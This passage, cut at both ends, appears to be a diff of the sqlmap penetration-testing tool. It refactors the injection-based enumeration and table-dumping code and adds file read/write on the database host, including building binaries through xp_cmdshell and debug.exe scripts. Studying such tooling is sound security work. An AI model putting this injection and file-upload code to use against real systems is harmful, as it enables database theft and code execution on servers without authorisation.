# In MySQL >= 5.0 and Oracle we get the list
|
||||
# of privileges as string
|
||||
elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and self.has_information_schema ):
|
||||
elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and kb.data.has_information_schema ):
|
||||
privileges.add(privilege)
|
||||
|
||||
# In MySQL < 5.0 we get Y if the privilege is
|
||||
# True, N otherwise
|
||||
elif kb.dbms == "MySQL" and not self.has_information_schema:
|
||||
elif kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||
for position, mysqlPriv in mysqlPrivs:
|
||||
if count == position and privilege.upper() == "Y":
|
||||
privileges.add(mysqlPriv)
|
||||
@@ -444,16 +483,16 @@ class Enumeration:
|
||||
if self.__isAdminFromPrivileges(privileges):
|
||||
areAdmins.add(user)
|
||||
|
||||
if self.cachedUsersPrivileges.has_key(user):
|
||||
self.cachedUsersPrivileges[user].extend(privileges)
|
||||
if kb.data.cachedUsersPrivileges.has_key(user):
|
||||
kb.data.cachedUsersPrivileges[user].extend(privileges)
|
||||
else:
|
||||
self.cachedUsersPrivileges[user] = list(privileges)
|
||||
kb.data.cachedUsersPrivileges[user] = list(privileges)
|
||||
|
||||
if not self.cachedUsersPrivileges:
|
||||
if not kb.data.cachedUsersPrivileges:
|
||||
conditionChar = "="
|
||||
|
||||
if conf.user:
|
||||
if kb.dbms == "MySQL" and self.has_information_schema:
|
||||
if kb.dbms == "MySQL" and kb.data.has_information_schema:
|
||||
conditionChar = " LIKE "
|
||||
|
||||
if "," in conf.user:
|
||||
@@ -475,17 +514,17 @@ class Enumeration:
|
||||
users = [ conf.user ]
|
||||
|
||||
else:
|
||||
if not len(self.cachedUsers):
|
||||
if not len(kb.data.cachedUsers):
|
||||
users = self.getUsers()
|
||||
else:
|
||||
users = self.cachedUsers
|
||||
users = kb.data.cachedUsers
|
||||
|
||||
retrievedUsers = set()
|
||||
|
||||
for user in users:
|
||||
unescapedUser = None
|
||||
|
||||
if kb.dbms == "MySQL" and self.has_information_schema:
|
||||
if kb.dbms == "MySQL" and kb.data.has_information_schema:
|
||||
unescapedUser = unescaper.unescape(user, quote=False)
|
||||
|
||||
if user in retrievedUsers:
|
||||
@@ -500,13 +539,13 @@ class Enumeration:
|
||||
else:
|
||||
queryUser = user
|
||||
|
||||
if kb.dbms == "MySQL" and not self.has_information_schema:
|
||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||
query = rootQuery["blind"]["count2"] % queryUser
|
||||
elif kb.dbms == "MySQL" and self.has_information_schema:
|
||||
elif kb.dbms == "MySQL" and kb.data.has_information_schema:
|
||||
query = rootQuery["blind"]["count"] % (conditionChar, queryUser)
|
||||
else:
|
||||
query = rootQuery["blind"]["count"] % queryUser
|
||||
count = inject.getValue(query, inband=False, expected="int")
|
||||
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
|
||||
|
||||
if not count.isdigit() or not len(count) or count == "0":
|
||||
warnMsg = "unable to retrieve the number of "
|
||||
@@ -521,9 +560,9 @@ class Enumeration:
|
||||
indexRange = getRange(count)
|
||||
|
||||
for index in indexRange:
|
||||
if kb.dbms == "MySQL" and not self.has_information_schema:
|
||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||
query = rootQuery["blind"]["query2"] % (queryUser, index)
|
||||
elif kb.dbms == "MySQL" and self.has_information_schema:
|
||||
elif kb.dbms == "MySQL" and kb.data.has_information_schema:
|
||||
query = rootQuery["blind"]["query"] % (conditionChar, queryUser, index)
|
||||
else:
|
||||
query = rootQuery["blind"]["query"] % (queryUser, index)
|
||||
@@ -546,12 +585,12 @@ class Enumeration:
|
||||
|
||||
# In MySQL >= 5.0 and Oracle we get the list
|
||||
# of privileges as string
|
||||
elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and self.has_information_schema ):
|
||||
elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and kb.data.has_information_schema ):
|
||||
privileges.add(privilege)
|
||||
|
||||
# In MySQL < 5.0 we get Y if the privilege is
|
||||
# True, N otherwise
|
||||
elif kb.dbms == "MySQL" and not self.has_information_schema:
|
||||
elif kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||
privilege = privilege.replace(", ", ",")
|
||||
privs = privilege.split(",")
|
||||
i = 1
|
||||
@@ -570,11 +609,11 @@ class Enumeration:
|
||||
# In MySQL < 5.0 we break the cycle after the first
|
||||
# time we get the user's privileges otherwise we
|
||||
# duplicate the same query
|
||||
if kb.dbms == "MySQL" and not self.has_information_schema:
|
||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||
break
|
||||
|
||||
if privileges:
|
||||
self.cachedUsersPrivileges[user] = list(privileges)
|
||||
kb.data.cachedUsersPrivileges[user] = list(privileges)
|
||||
else:
|
||||
warnMsg = "unable to retrieve the privileges "
|
||||
warnMsg += "for user '%s'" % user
|
||||
@@ -582,16 +621,16 @@ class Enumeration:
|
||||
|
||||
retrievedUsers.add(user)
|
||||
|
||||
if not self.cachedUsersPrivileges:
|
||||
if not kb.data.cachedUsersPrivileges:
|
||||
errMsg = "unable to retrieve the privileges "
|
||||
errMsg += "for the database users"
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
|
||||
return ( self.cachedUsersPrivileges, areAdmins )
|
||||
return ( kb.data.cachedUsersPrivileges, areAdmins )
|
||||
|
||||
|
||||
def getDbs(self):
|
||||
if kb.dbms == "MySQL" and not self.has_information_schema:
|
||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||
warnMsg = "information_schema not available, "
|
||||
warnMsg += "back-end DBMS is MySQL < 5. database "
|
||||
warnMsg += "names will be fetched from 'mysql' database"
|
||||
@@ -602,25 +641,25 @@ class Enumeration:
|
||||
|
||||
rootQuery = queries[kb.dbms].dbs
|
||||
|
||||
if conf.unionUse:
|
||||
if kb.dbms == "MySQL" and not self.has_information_schema:
|
||||
if kb.unionPosition:
|
||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||
query = rootQuery["inband"]["query2"]
|
||||
else:
|
||||
query = rootQuery["inband"]["query"]
|
||||
value = inject.getValue(query, blind=False)
|
||||
|
||||
if value:
|
||||
self.cachedDbs = value
|
||||
kb.data.cachedDbs = value
|
||||
|
||||
if not self.cachedDbs:
|
||||
if not kb.data.cachedDbs:
|
||||
infoMsg = "fetching number of databases"
|
||||
logger.info(infoMsg)
|
||||
|
||||
if kb.dbms == "MySQL" and not self.has_information_schema:
|
||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||
query = rootQuery["blind"]["count2"]
|
||||
else:
|
||||
query = rootQuery["blind"]["count"]
|
||||
count = inject.getValue(query, inband=False, expected="int")
|
||||
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
|
||||
|
||||
if not count.isdigit() or not len(count) or count == "0":
|
||||
errMsg = "unable to retrieve the number of databases"
|
||||
@@ -629,24 +668,24 @@ class Enumeration:
|
||||
indexRange = getRange(count)
|
||||
|
||||
for index in indexRange:
|
||||
if kb.dbms == "MySQL" and not self.has_information_schema:
|
||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||
query = rootQuery["blind"]["query2"] % index
|
||||
else:
|
||||
query = rootQuery["blind"]["query"] % index
|
||||
db = inject.getValue(query, inband=False)
|
||||
|
||||
if db:
|
||||
self.cachedDbs.append(db)
|
||||
kb.data.cachedDbs.append(db)
|
||||
|
||||
if not self.cachedDbs:
|
||||
if not kb.data.cachedDbs:
|
||||
errMsg = "unable to retrieve the database names"
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
|
||||
return self.cachedDbs
|
||||
return kb.data.cachedDbs
|
||||
|
||||
|
||||
def getTables(self):
|
||||
if kb.dbms == "MySQL" and not self.has_information_schema:
|
||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||
errMsg = "information_schema not available, "
|
||||
errMsg += "back-end DBMS is MySQL < 5.0"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
@@ -660,7 +699,7 @@ class Enumeration:
|
||||
|
||||
rootQuery = queries[kb.dbms].tables
|
||||
|
||||
if conf.unionUse:
|
||||
if kb.unionPosition:
|
||||
query = rootQuery["inband"]["query"]
|
||||
condition = rootQuery["inband"]["condition"]
|
||||
|
||||
@@ -681,22 +720,22 @@ class Enumeration:
|
||||
|
||||
if value:
|
||||
for db, table in value:
|
||||
if not self.cachedTables.has_key(db):
|
||||
self.cachedTables[db] = [table]
|
||||
if not kb.data.cachedTables.has_key(db):
|
||||
kb.data.cachedTables[db] = [table]
|
||||
else:
|
||||
self.cachedTables[db].append(table)
|
||||
kb.data.cachedTables[db].append(table)
|
||||
|
||||
if not self.cachedTables:
|
||||
if not kb.data.cachedTables:
|
||||
if conf.db:
|
||||
if "," in conf.db:
|
||||
dbs = conf.db.split(",")
|
||||
else:
|
||||
dbs = [conf.db]
|
||||
else:
|
||||
if not len(self.cachedDbs):
|
||||
if not len(kb.data.cachedDbs):
|
||||
dbs = self.getDbs()
|
||||
else:
|
||||
dbs = self.cachedDbs
|
||||
dbs = kb.data.cachedDbs
|
||||
|
||||
for db in dbs:
|
||||
if conf.excludeSysDbs and db in self.excludeDbsList:
|
||||
@@ -710,7 +749,7 @@ class Enumeration:
|
||||
logger.info(infoMsg)
|
||||
|
||||
query = rootQuery["blind"]["count"] % db
|
||||
count = inject.getValue(query, inband=False, expected="int")
|
||||
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
|
||||
|
||||
if not count.isdigit() or not len(count) or count == "0":
|
||||
warnMsg = "unable to retrieve the number of "
|
||||
@@ -727,21 +766,21 @@ class Enumeration:
|
||||
tables.append(table)
|
||||
|
||||
if tables:
|
||||
self.cachedTables[db] = tables
|
||||
kb.data.cachedTables[db] = tables
|
||||
else:
|
||||
warnMsg = "unable to retrieve the tables "
|
||||
warnMsg += "for database '%s'" % db
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if not self.cachedTables:
|
||||
if not kb.data.cachedTables:
|
||||
errMsg = "unable to retrieve the tables for any database"
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
|
||||
return self.cachedTables
|
||||
return kb.data.cachedTables
|
||||
|
||||
|
||||
def getColumns(self, onlyColNames=False):
|
||||
if kb.dbms == "MySQL" and not self.has_information_schema:
|
||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||
errMsg = "information_schema not available, "
|
||||
errMsg += "back-end DBMS is MySQL < 5.0"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
@@ -770,7 +809,7 @@ class Enumeration:
|
||||
|
||||
rootQuery = queries[kb.dbms].columns
|
||||
|
||||
if conf.unionUse:
|
||||
if kb.unionPosition:
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
query = rootQuery["inband"]["query"] % (conf.tbl, conf.db)
|
||||
elif kb.dbms == "Oracle":
|
||||
@@ -789,9 +828,9 @@ class Enumeration:
|
||||
for column, colType in value:
|
||||
columns[column] = colType
|
||||
table[conf.tbl] = columns
|
||||
self.cachedColumns[conf.db] = table
|
||||
kb.data.cachedColumns[conf.db] = table
|
||||
|
||||
if not self.cachedColumns:
|
||||
if not kb.data.cachedColumns:
|
||||
infoMsg = "fetching number of columns "
|
||||
infoMsg += "for table '%s'" % conf.tbl
|
||||
infoMsg += " on database '%s'" % conf.db
|
||||
@@ -804,7 +843,7 @@ class Enumeration:
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
query = rootQuery["blind"]["count"] % (conf.db, conf.db, conf.tbl)
|
||||
|
||||
count = inject.getValue(query, inband=False, expected="int")
|
||||
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
|
||||
|
||||
if not count.isdigit() or not len(count) or count == "0":
|
||||
errMsg = "unable to retrieve the number of columns "
|
||||
@@ -849,15 +888,15 @@ class Enumeration:
|
||||
|
||||
if columns:
|
||||
table[conf.tbl] = columns
|
||||
self.cachedColumns[conf.db] = table
|
||||
kb.data.cachedColumns[conf.db] = table
|
||||
|
||||
if not self.cachedColumns:
|
||||
if not kb.data.cachedColumns:
|
||||
errMsg = "unable to retrieve the columns "
|
||||
errMsg += "for table '%s' " % conf.tbl
|
||||
errMsg += "on database '%s'" % conf.db
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
|
||||
return self.cachedColumns
|
||||
return kb.data.cachedColumns
|
||||
|
||||
|
||||
def dumpTable(self):
|
||||
@@ -882,19 +921,19 @@ class Enumeration:
|
||||
|
||||
if conf.col:
|
||||
colList = conf.col.split(",")
|
||||
self.cachedColumns[conf.db] = {}
|
||||
self.cachedColumns[conf.db][conf.tbl] = {}
|
||||
kb.data.cachedColumns[conf.db] = {}
|
||||
kb.data.cachedColumns[conf.db][conf.tbl] = {}
|
||||
for column in colList:
|
||||
self.cachedColumns[conf.db][conf.tbl][column] = None
|
||||
elif not self.cachedColumns:
|
||||
if kb.dbms == "MySQL" and not self.has_information_schema:
|
||||
kb.data.cachedColumns[conf.db][conf.tbl][column] = None
|
||||
elif not kb.data.cachedColumns:
|
||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||
errMsg = "information_schema not available, "
|
||||
errMsg += "back-end DBMS is MySQL < 5.0"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
self.cachedColumns = self.getColumns(onlyColNames=True)
|
||||
kb.data.cachedColumns = self.getColumns(onlyColNames=True)
|
||||
|
||||
colList = self.cachedColumns[conf.db][conf.tbl].keys()
|
||||
colList = kb.data.cachedColumns[conf.db][conf.tbl].keys()
|
||||
colList.sort(key=lambda x: x.lower())
|
||||
colString = ", ".join(column for column in colList)
|
||||
|
||||
@@ -905,7 +944,7 @@ class Enumeration:
|
||||
infoMsg += " on database '%s'" % conf.db
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.unionUse:
|
||||
if kb.unionPosition:
|
||||
if kb.dbms == "Oracle":
|
||||
query = rootQuery["inband"]["query"] % (colString, conf.tbl.upper())
|
||||
else:
|
||||
@@ -919,8 +958,8 @@ class Enumeration:
|
||||
for column in colList:
|
||||
colLen = len(column)
|
||||
|
||||
if not self.dumpedTable.has_key(column):
|
||||
self.dumpedTable[column] = { "length": 0, "values": [] }
|
||||
if not kb.data.dumpedTable.has_key(column):
|
||||
kb.data.dumpedTable[column] = { "length": 0, "values": [] }
|
||||
|
||||
for entry in entries:
|
||||
if isinstance(entry, str):
|
||||
@@ -931,14 +970,14 @@ class Enumeration:
|
||||
colEntryLen = len(colEntry)
|
||||
maxLen = max(colLen, colEntryLen)
|
||||
|
||||
if maxLen > self.dumpedTable[column]["length"]:
|
||||
self.dumpedTable[column]["length"] = maxLen
|
||||
if maxLen > kb.data.dumpedTable[column]["length"]:
|
||||
kb.data.dumpedTable[column]["length"] = maxLen
|
||||
|
||||
self.dumpedTable[column]["values"].append(colEntry)
|
||||
kb.data.dumpedTable[column]["values"].append(colEntry)
|
||||
|
||||
index += 1
|
||||
|
||||
if not self.dumpedTable:
|
||||
if not kb.data.dumpedTable:
|
||||
infoMsg = "fetching number of "
|
||||
if conf.col:
|
||||
infoMsg += "columns '%s' " % colString
|
||||
@@ -950,7 +989,7 @@ class Enumeration:
|
||||
query = rootQuery["blind"]["count"] % conf.tbl.upper()
|
||||
else:
|
||||
query = rootQuery["blind"]["count"] % (conf.db, conf.tbl)
|
||||
count = inject.getValue(query, inband=False, expected="int")
|
||||
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
|
||||
|
||||
if not count.isdigit() or not len(count) or count == "0":
|
||||
errMsg = "unable to retrieve the number of "
|
||||
@@ -961,7 +1000,7 @@ class Enumeration:
|
||||
|
||||
if conf.dumpAll:
|
||||
logger.warn(errMsg)
|
||||
return self.dumpedTable
|
||||
return kb.data.dumpedTable
|
||||
else:
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
|
||||
@@ -1001,15 +1040,15 @@ class Enumeration:
|
||||
else:
|
||||
length = lengths[column]
|
||||
|
||||
self.dumpedTable[column] = {
|
||||
kb.data.dumpedTable[column] = {
|
||||
"length": length,
|
||||
"values": columnEntries,
|
||||
}
|
||||
|
||||
entriesCount = len(columnEntries)
|
||||
|
||||
if self.dumpedTable:
|
||||
self.dumpedTable["__infos__"] = {
|
||||
if kb.data.dumpedTable:
|
||||
kb.data.dumpedTable["__infos__"] = {
|
||||
"count": entriesCount,
|
||||
"table": conf.tbl,
|
||||
"db": conf.db
|
||||
@@ -1023,32 +1062,32 @@ class Enumeration:
|
||||
|
||||
if conf.dumpAll:
|
||||
logger.warn(errMsg)
|
||||
return self.dumpedTable
|
||||
return kb.data.dumpedTable
|
||||
else:
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
|
||||
return self.dumpedTable
|
||||
return kb.data.dumpedTable
|
||||
|
||||
|
||||
def dumpAll(self):
|
||||
if kb.dbms == "MySQL" and not self.has_information_schema:
|
||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||
errMsg = "information_schema not available, "
|
||||
errMsg += "back-end DBMS is MySQL < 5.0"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
conf.db = None
|
||||
conf.tbl = None
|
||||
conf.col = None
|
||||
self.cachedDbs = []
|
||||
self.cachedTables = self.getTables()
|
||||
conf.db = None
|
||||
conf.tbl = None
|
||||
conf.col = None
|
||||
kb.data.cachedDbs = []
|
||||
kb.data.cachedTables = self.getTables()
|
||||
|
||||
for db, tables in self.cachedTables.items():
|
||||
for db, tables in kb.data.cachedTables.items():
|
||||
conf.db = db
|
||||
|
||||
for table in tables:
|
||||
conf.tbl = table
|
||||
self.cachedColumns = {}
|
||||
self.dumpedTable = {}
|
||||
kb.data.cachedColumns = {}
|
||||
kb.data.dumpedTable = {}
|
||||
|
||||
data = self.dumpTable()
|
||||
|
||||
@@ -1071,20 +1110,22 @@ class Enumeration:
|
||||
|
||||
break
|
||||
|
||||
if selectQuery == True:
|
||||
message = "do you want to retrieve the SQL statement output? "
|
||||
message += "[Y/n] "
|
||||
getOutput = readInput(message, default="Y")
|
||||
|
||||
if not getOutput or getOutput in ("y", "Y"):
|
||||
infoMsg = "fetching %s query output: '%s'" % (sqlType, query)
|
||||
logger.info(infoMsg)
|
||||
|
||||
output = inject.getValue(query, fromUser=True)
|
||||
|
||||
return output
|
||||
else:
|
||||
if kb.stackedTest == None:
|
||||
stackedTest()
|
||||
|
||||
if kb.stackedTest == False:
|
||||
warnMsg = "the web application does not support "
|
||||
warnMsg += "stacked queries"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return None
|
||||
else:
|
||||
if sqlType:
|
||||
@@ -1114,7 +1155,7 @@ class Enumeration:
|
||||
query = None
|
||||
|
||||
try:
|
||||
query = raw_input("sql> ")
|
||||
query = raw_input("sql-shell> ")
|
||||
except KeyboardInterrupt:
|
||||
print
|
||||
errMsg = "user aborted"
|
||||
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
@@ -24,7 +24,19 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
import binascii
|
||||
import os
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import dataToOutFile
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
from lib.request import inject
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
|
||||
class Filesystem:
|
||||
@@ -32,11 +44,290 @@ class Filesystem:
|
||||
This class defines generic OS file system functionalities for plugins.
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.fileTblName = "sqlmapfile"
|
||||
self.tblField = "data"
|
||||
|
||||
|
||||
def __unbase64String(self, base64Str):
|
||||
unbase64Str = ""
|
||||
|
||||
if isinstance(base64Str, (list, tuple, set)):
|
||||
for chunk in base64Str:
|
||||
if isinstance(chunk, (list, tuple, set)):
|
||||
chunk = chunk[0]
|
||||
|
||||
unbase64Str += "%s\n" % chunk.decode("base64")
|
||||
else:
|
||||
unbase64Str = "%s\n" % base64Str.decode("base64")
|
||||
|
||||
return unbase64Str
|
||||
|
||||
|
||||
def __unhexString(self, hexStr):
|
||||
unhexStr = ""
|
||||
|
||||
if isinstance(hexStr, (list, tuple, set)):
|
||||
for chunk in hexStr:
|
||||
if isinstance(chunk, (list, tuple, set)):
|
||||
chunk = chunk[0]
|
||||
|
||||
unhexStr += binascii.unhexlify(chunk)
|
||||
else:
|
||||
unhexStr = binascii.unhexlify(hexStr)
|
||||
|
||||
return unhexStr
|
||||
|
||||
|
||||
def __binDataToScr(self, binaryData, chunkName):
|
||||
"""
|
||||
Called by Microsoft SQL Server plugin to write a binary file on the
|
||||
back-end DBMS underlying file system
|
||||
"""
|
||||
|
||||
fileLines = []
|
||||
fileSize = len(binaryData)
|
||||
lineAddr = 0x100
|
||||
lineLen = 20
|
||||
|
||||
fileLines.append("n %s" % chunkName)
|
||||
fileLines.append("rcx")
|
||||
fileLines.append("%x" % fileSize)
|
||||
fileLines.append("f 0100 %x 00" % fileSize)
|
||||
|
||||
for fileLine in range(0, len(binaryData), lineLen):
|
||||
scrString = ""
|
||||
|
||||
for lineChar in binaryData[fileLine:fileLine+lineLen]:
|
||||
strLineChar = binascii.hexlify(lineChar)
|
||||
|
||||
if not scrString:
|
||||
scrString = "e %x %s" % (lineAddr, strLineChar)
|
||||
else:
|
||||
scrString += " %s" % strLineChar
|
||||
|
||||
lineAddr += len(lineChar)
|
||||
|
||||
fileLines.append(scrString)
|
||||
|
||||
fileLines.append("w")
|
||||
fileLines.append("q")
|
||||
|
||||
return fileLines
|
||||
|
||||
|
||||
def __checkWrittenFile(self, wFile, dFile, fileType):
|
||||
if kb.dbms == "MySQL":
|
||||
lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile
|
||||
|
||||
elif kb.dbms == "PostgreSQL":
|
||||
lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
||||
|
||||
# Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx
|
||||
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.fileTblName, dFile, randomStr(10), randomStr(10)))
|
||||
|
||||
lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName)
|
||||
|
||||
wFileSize = os.path.getsize(wFile)
|
||||
|
||||
logger.debug("checking if the %s file has been written" % fileType)
|
||||
dFileSize = inject.getValue(lengthQuery, resumeValue=False, charsetType=2)
|
||||
|
||||
if dFileSize and dFileSize.isdigit():
|
||||
infoMsg = "the file has been successfully written and "
|
||||
infoMsg += "its size is %s bytes" % dFileSize
|
||||
|
||||
dFileSize = long(dFileSize)
|
||||
|
||||
if wFileSize == dFileSize:
|
||||
infoMsg += ", same size as the local file '%s'" % wFile
|
||||
else:
|
||||
infoMsg += ", but the size differs from the local "
|
||||
infoMsg += " file '%s' (%d bytes)" % (wFile, wFileSize)
|
||||
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
warnMsg = "it looks like the file has not been written, this "
|
||||
warnMsg += "can occur if the DBMS process' user has no write "
|
||||
warnMsg += "privileges in the destination path"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
|
||||
def fileToSqlQueries(self, fcEncodedList):
|
||||
"""
|
||||
Called by MySQL and PostgreSQL plugins to write a file on the
|
||||
back-end DBMS underlying file system
|
||||
"""
|
||||
|
||||
counter = 0
|
||||
sqlQueries = []
|
||||
|
||||
for fcEncodedLine in fcEncodedList:
|
||||
if counter == 0:
|
||||
sqlQueries.append("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, fcEncodedLine))
|
||||
else:
|
||||
updatedField = agent.simpleConcatQuery(self.tblField, fcEncodedLine)
|
||||
sqlQueries.append("UPDATE %s SET %s=%s" % (self.fileTblName, self.tblField, updatedField))
|
||||
|
||||
counter += 1
|
||||
|
||||
return sqlQueries
|
||||
|
||||
|
||||
def fileEncode(self, fileName, encoding, single):
|
||||
"""
|
||||
Called by MySQL and PostgreSQL plugins to write a file on the
|
||||
back-end DBMS underlying file system
|
||||
"""
|
||||
|
||||
fcEncodedList = []
|
||||
fp = open(fileName, "rb")
|
||||
fcEncodedStr = fp.read().encode(encoding).replace("\n", "")
|
||||
|
||||
if single == False:
|
||||
fcLength = len(fcEncodedStr)
|
||||
|
||||
if fcLength > 1024:
|
||||
for i in range(0, fcLength, 1024):
|
||||
string = ""
|
||||
|
||||
if encoding == "hex":
|
||||
string += "0x"
|
||||
|
||||
string += fcEncodedStr[i:i+1024]
|
||||
|
||||
if encoding == "base64":
|
||||
string = "'%s'" % string
|
||||
|
||||
fcEncodedList.append(string)
|
||||
|
||||
if not fcEncodedList:
|
||||
if encoding == "hex":
|
||||
fcEncodedStr = "0x%s" % fcEncodedStr
|
||||
elif encoding == "base64":
|
||||
fcEncodedStr = "'%s'" % fcEncodedStr
|
||||
|
||||
fcEncodedList = [ fcEncodedStr ]
|
||||
|
||||
return fcEncodedList
|
||||
|
||||
|
||||
def updateBinChunk(self, binaryData, dFile, tmpPath):
|
||||
"""
|
||||
Called by Microsoft SQL Server plugin to write a binary file on the
|
||||
back-end DBMS underlying file system
|
||||
"""
|
||||
|
||||
randScr = "sqlmapfile%s.scr" % randomStr(lowercase=True)
|
||||
chunkName = randomStr(lowercase=True)
|
||||
fileScrLines = self.__binDataToScr(binaryData, chunkName)
|
||||
forgedScrLines = []
|
||||
cmd = ""
|
||||
charCounter = 0
|
||||
maxLen = 4096
|
||||
|
||||
logger.debug("generating binary file %s\%s, wait.." % (tmpPath, chunkName))
|
||||
|
||||
for scrLine in fileScrLines:
|
||||
forgedScrLine = "echo %s " % scrLine
|
||||
forgedScrLine += ">> %s\%s" % (tmpPath, randScr)
|
||||
forgedScrLines.append(forgedScrLine)
|
||||
|
||||
for forgedScrLine in forgedScrLines:
|
||||
cmd += "%s & " % forgedScrLine
|
||||
charCounter += len(forgedScrLine)
|
||||
|
||||
if charCounter >= maxLen:
|
||||
forgedCmd = self.xpCmdshellForgeCmd(cmd)
|
||||
self.execCmd(forgedCmd)
|
||||
|
||||
cmd = ""
|
||||
charCounter = 0
|
||||
|
||||
if cmd:
|
||||
forgedCmd = self.xpCmdshellForgeCmd(cmd)
|
||||
self.execCmd(forgedCmd)
|
||||
|
||||
commands = (
|
||||
"cd %s" % tmpPath,
|
||||
"debug < %s" % randScr,
|
||||
"del /F %s" % randScr
|
||||
)
|
||||
|
||||
complComm = " & ".join(command for command in commands)
|
||||
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
||||
|
||||
self.execCmd(forgedCmd, silent=True)
|
||||
|
||||
return chunkName
|
||||
|
||||
|
||||
def askCheckWrittenFile(self, wFile, dFile, fileType):
|
||||
message = "do you want confirmation that the file '%s' " % dFile
|
||||
message += "has been successfully written on the back-end DBMS "
|
||||
message += "file system? [Y/n] "
|
||||
output = readInput(message, default="Y")
|
||||
|
||||
if not output or output in ("y", "Y"):
|
||||
self.__checkWrittenFile(wFile, dFile, fileType)
|
||||
|
||||
|
||||
def readFile(self, rFile):
|
||||
errMsg = "OS file reading not yet implemented for this DBMS"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
fileContent = None
|
||||
|
||||
stackedTest()
|
||||
|
||||
self.checkDbmsOs()
|
||||
|
||||
if kb.stackedTest == False:
|
||||
debugMsg = "going to read the file with UNION query SQL "
|
||||
debugMsg += "injection technique"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
fileContent = self.unionReadFile(rFile)
|
||||
else:
|
||||
debugMsg = "going to read the file with stacked query SQL "
|
||||
debugMsg += "injection technique"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
fileContent = self.stackedReadFile(rFile)
|
||||
|
||||
if fileContent == None:
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
return
|
||||
|
||||
if kb.dbms in ( "MySQL", "Microsoft SQL Server" ):
|
||||
fileContent = self.__unhexString(fileContent)
|
||||
|
||||
elif kb.dbms == "PostgreSQL":
|
||||
fileContent = self.__unbase64String(fileContent)
|
||||
|
||||
rFilePath = dataToOutFile(fileContent)
|
||||
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
return rFilePath
|
||||
|
||||
|
||||
def writeFile(self, wFile):
|
||||
errMsg = "OS file writing not yet implemented for this DBMS"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
|
||||
stackedTest()
|
||||
|
||||
self.checkDbmsOs()
|
||||
|
||||
if kb.stackedTest == False:
|
||||
debugMsg = "going to upload the %s file with " % fileType
|
||||
debugMsg += "UNION query SQL injection technique"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.unionWriteFile(wFile, dFile, fileType, confirm)
|
||||
else:
|
||||
